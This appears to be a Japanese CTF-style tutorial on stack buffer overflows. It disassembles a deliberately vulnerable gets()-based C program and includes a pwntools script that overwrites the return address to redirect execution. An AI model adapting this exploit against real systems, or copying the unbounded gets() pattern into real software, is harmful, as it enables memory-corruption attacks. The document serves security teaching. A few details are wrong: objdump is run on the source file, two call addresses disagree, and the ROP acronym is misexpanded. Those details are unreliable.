Buffer Overflow 基礎 (objdump を用いたアセンブリ入門と pwntools を用いた Exploit)
Buffer Overflow (BOF) の基礎的な事項についてのハンズオン.
コードは github で公開
検証環境
- Windows 11 Home
- Ubuntu 24.04 (WSL)
環境構築
- 環境構築は 前回記事 にまとめた
必要なツールのインストール
- objdump というバイナリ (機械語) をアセンブリに書き下すツールを使用する
- インストールされていなければ以下を実行
sudo apt install binutils
- 以下でバージョンが表示されていればセットアップ完了
objdump --version
検証用のバイナリ作成
- 入力を受け取るだけの単純なバイナリと,
mainでは実行されない関数helloを作成 - 入力の受け取りは
getsを使用する
// gcc -g -fno-stack-protector -no-pie bof_hello.c -o ../build/bof_hello
#include <stdio.h>
int main(void) {
// setup
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
// main
char buf[0x10];
gets(buf);
}
int hello(void) {
puts("Hello World!");
}
セキュリティ機構を緩和するためコンパイルオプションに注意
setbufは今回のリモート環境で標準エラー出力などを確認するための設定 (ctf の問題でもよく指定されている)不正な入力を用いて
helloを起動することを目標とする
コンパイルしたバイナリについてアセンブリを確認
- 今回作成したバイナリについて objdump を用いてアセンブリを確認する
objdump -d bof_hello.c -M intel
- 上のコマンドを用いるとアセンブリが出力される (
-M intelは表記方法をインテル記法にするオプション, 表記法は好みのものを使えばよい) - アセンブリのうち main 関数の部分は以下のようになる
0000000000401176 <main>:
401176: f3 0f 1e fa endbr64
40117a: 55 push rbp
40117b: 48 89 e5 mov rbp,rsp
40117e: 48 83 ec 10 sub rsp,0x10
---
4011be: 48 8d 45 f0 lea rax,[rbp-0x10]
4011c2: 48 89 c7 mov rdi,rax
4011c5: b8 00 00 00 00 mov eax,0x0
4011ca: e8 b1 fe ff ff call 401080 <gets@plt>
4011cf: b8 00 00 00 00 mov eax,0x0
4011d4: c9 leave
4011d5: c3 ret
setbuf系の部分は今回関係ないので中略- 各行の左側に書いてある 16 進数の数値が各処理の保存されているアドレスに対応する
- 上のアセンブリではざっくりと以下の流れで処理が行われている
- スタックの確保
getsの呼び出し- 関数の終了・
return
スタックの確保
- スタックは各関数において保持されるメモリ上の連続領域で, スタック領域のアドレスは $rsp$ レジスタに先頭アドレス, $rbp$ レジスタに底のアドレスが保持される
mov rbp,rsp
- 上の処理でまず初めに $rbp$ レジスタに $rsp$ レジスタの値を代入している (
mov命令は値の代入を行う) - 次に, この関数で使用するメモリサイズ分のスタック領域が確保される
sub rsp,0x10
main関数では大きさ 0x10 の配列bufが使われるため, スタックに 0x10 分の領域が追加される (subはアドレス値から 0x10 引いている)
gets の呼び出し
getsの呼び出しは以下の処理で行われている
lea rax,[rbp-0x10]
mov rdi,rax
mov eax,0x0
call 401060 <gets@plt>
- 上の処理では
rdiレジスタにbufのアドレス (rbp-0x10) を代入したうえでgetsを呼んでいる rdiレジスタは関数を呼ぶ際の第一引数を格納するレジスタとなる (第二引数がrsi, 第三引数がrdxとなる)- 関数の返り値がある場合は
raxに格納される
関数の終了・return
- 最後に
leave命令とret命令でリターン処理を行っている
leave
ret
- この処理では保存されていた関数の呼び出し元の
rbpレジスタを復元し, 保存されていたリターンアドレスに処理を移す
スタックの構造について
- 今回のコードでは
main関数のスタックは以下のようになる
--- <-- rsp (rbp-0x10)
buf (16 bytes)
--- <-- rbp
saved rbp (8 bytes)
---
return address (8 bytes)
rbpの後には呼び出し元関数のスタックのrbpレジスタの値が保存されており, それよりさらに 8 バイト後にリターンアドレスが格納されるgetsでは文字数制限がなく, 改行コードを受け取るまで文字列をメモリに格納するrbp-0x10から順に格納されるため, 本来の大きさである 0x10 より多くの文字列を与えることでリターンアドレスを書き換えることが可能となる
pwntools を用いた Buffer Overflow (BOF)
- 今回はリターンアドレスを書き換えることで
hello関数を起動する
from pwn import *
# set binary path
context.binary = "../build/bof_hello"
elf = context.binary
sh = process()
payload = b"a" * 0x10 # buf
payload += b"b" * 0x8 # saved rbp
payload += p64(elf.sym["hello"]) # return address
sh.sendline(payload)
sh.interactive()
- リモート環境でも
remoteを使えば同じコードが使える - 上記コードでは,
getsに渡すペイロードを以下のように作成している
- 用意された配列である
bufのサイズ分のパディング - saved rbp に該当する 8 バイト分のパディング
- 書き換えて起動したい先のリターンアドレス
elf.sym["hello"]は hello という名前の関数のアドレスをバイナリから調べてくれるp64はアドレスをリトルエンディアンの 8 バイトで送信できる形式に整えてくれる関数上記で
main関数のリターン時にリターンアドレスに従いhelloに処理が移る
その他
Stack Canary について
- スタックの改変を防ぐためのセキュリティ機構
- Stack Canary が有効だとスタックの後ろにランダムな値 (canary) がおかれ, その値の改変を検知すると例外が挙げられる
- canary などのセキュリティ機構の有無は
pwn checksec $BINARYで調べることができる
ROP について
- BOF を応用した攻撃手法に Return Oriented Architecture (ROP) というものがある
- リターンアドレスにバイナリで用意されている関数 (および動的に読み込まれる関数) を組み合わせておいておくことで任意コード実行につなげる手法となる